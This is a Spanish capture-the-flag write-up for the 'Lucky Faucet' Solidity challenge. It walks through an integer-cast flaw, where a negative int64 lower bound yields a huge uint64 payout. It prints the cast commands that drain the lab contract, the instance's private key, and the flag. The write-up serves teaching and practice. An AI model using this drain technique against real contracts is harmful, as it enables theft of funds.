Lucky Faucet
5 minutos de lectura
Se nos proporciona un archivo de Solidity llamado LuckyFaucet.sol
:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
Además, tenemos este Setup.sol
, que es común en los retos de Solidity:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
Aquí vemos que la instancia remota ha implementado un Smart Contract llamado LuckyFaucet
con 500 ether
, y resolveremos el reto si el Smart Contract tiene menos de 490 ether
.
Versión de Solidity
Un tema a considerar es que estos Smart Contracts usan una versión de Solidity específica, que es 0.7.6. En el resto de los retos, estaban usando versiones actualizadas. Obviamente, esto es clave para resolver el reto.
De hecho, esta versión tiene algunos problemas de seguridad y no lanza ninguna excepción si las operaciones con números enteros no funcionan como se esperaba. Por ejemplo, no le importa que ocurra un integer underflow/overflow (más información en www.halborn.com).
Explotación
Obsérvese que el Smart Contract nos enviará saldo con sendRandomETH
:
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
Pero recibiremos entre 50_000_000 wei
y 100_000_000 wei
. Estos valores, convertidos a ether
son insignificantes (véase eth-converter.com), y tenemos que tomar al menos 10 ether
del Smart Contract, que es 10_000_000_000_000_000_000 wei
.
Pero podemos cambiar los límites superior e inferior:
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
Obsérvese que los tipos de valor son int64
, entonces están considerando números enteros con signo. Como resultado, podemos usar números negativos. Per, sendRandomETH
realiza una conversión a uint64
, que es sin signo.
Como resultado, debido al hecho de que los números enteros negativos, cuando se interpretan como valores sin signo, tienen el bit más significativo en 1
, podemos ingresar un valor negativo en el límite inferior y por lo tanto amountToSend
será enorme.
Por ejemplo, 0xffffffffffffffff
es -1
como un entero sin signo (formato hexadecimal). En decimal, -1
es 18446744073709551615
, que corresponde a 18.44... ether
. Esto es suficiente para resolver el reto. Por lo tanto, estableceremos el límite inferior a -100_000_000 wei
, para que el entero que se convierta en uint64
sea negativo.
En primer lugar, tomamos los parámetros de conexión:
$ nc 94.237.62.124 52145
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xde2656348b861481b52b6e843887879f888b96c52fabbbb973c4629622c993be
Address : 0x866f9AA3c4E4e482643e70F9EBA7E52Cb936ED5F
Target contract : 0x068325D1CE3178c178355a66F86419789D67aD9D
Setup contract : 0x525C599542808afFa706097A503433eC86Dd1fF0
^C
$ PRIVATE_KEY='0xde2656348b861481b52b6e843887879f888b96c52fabbbb973c4629622c993be'
$ ADDRESS_TARGET='0x068325D1CE3178c178355a66F86419789D67aD9D'
$ ADDRESS_SETUP='0x525C599542808afFa706097A503433eC86Dd1fF0'
$ export ETH_RPC_URL='http://94.237.62.124:39789'
Ahora estamos listos para usar cast
:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
Entonces, actualizamos el límite inferior y ponemos a -100000000
:
$ cast send --private-key $PRIVATE_KEY $ADDRESS_TARGET 'setBounds(int64, int64)' -- '-100000000' '100000000'
blockHash 0x7d0a8691b1057eebed5d51227066c4b4275148a2cb8c6f585a928bd6ef2be562
blockNumber 2
contractAddress
cumulativeGasUsed 27147
effectiveGasPrice 0
from 0x866f9AA3c4E4e482643e70F9EBA7E52Cb936ED5F
gasUsed 27147
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0xd6a558e9c98fc9d34c9f0a1c69c3020dbcbf2c9dc08feedacfebc16780cc2641
transactionIndex 0
type 2
blobGasPrice
blobGasUsed
to 0x068325D1CE3178c178355a66F86419789D67aD9D
depositNonce null
Podemos verificar que ha cambiado:
$ cast call $ADDRESS_TARGET 'lowerBound() (int64)'
-100000000 [-1e8]
Ahora estamos listos para usar sendRandomETH
:
$ cast balance --ether $ADDRESS_TARGET
500.000000000000000000
$ cast send $ADDRESS_TARGET 'sendRandomETH()' --private-key $PRIVATE_KEY
blockHash 0xb29dc168d37ad0d59e01e135714a9fde652f7e36cacf6977eb0a9dc725afd4e5
blockNumber 3
contractAddress
cumulativeGasUsed 30463
effectiveGasPrice 0
from 0x866f9AA3c4E4e482643e70F9EBA7E52Cb936ED5F
gasUsed 30463
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0x503315fed18bff9a57c88a309a9ea3d6ccc8aee8b9c00c189204917665af5381
transactionIndex 0
type 2
blobGasPrice
blobGasUsed
to 0x068325D1CE3178c178355a66F86419789D67aD9D
depositNonce null
$ cast balance --ether $ADDRESS_TARGET
481.553255926586234658
Como se puede ver, hemos tomado más de 10 ether
del Smart Contract, por lo que hemos resuelto el reto:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
Flag
Y esta es la flag:
$ nc 94.237.62.124 52145
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{f0rg07_ab0u7_1nt3g32_0v32f10w5}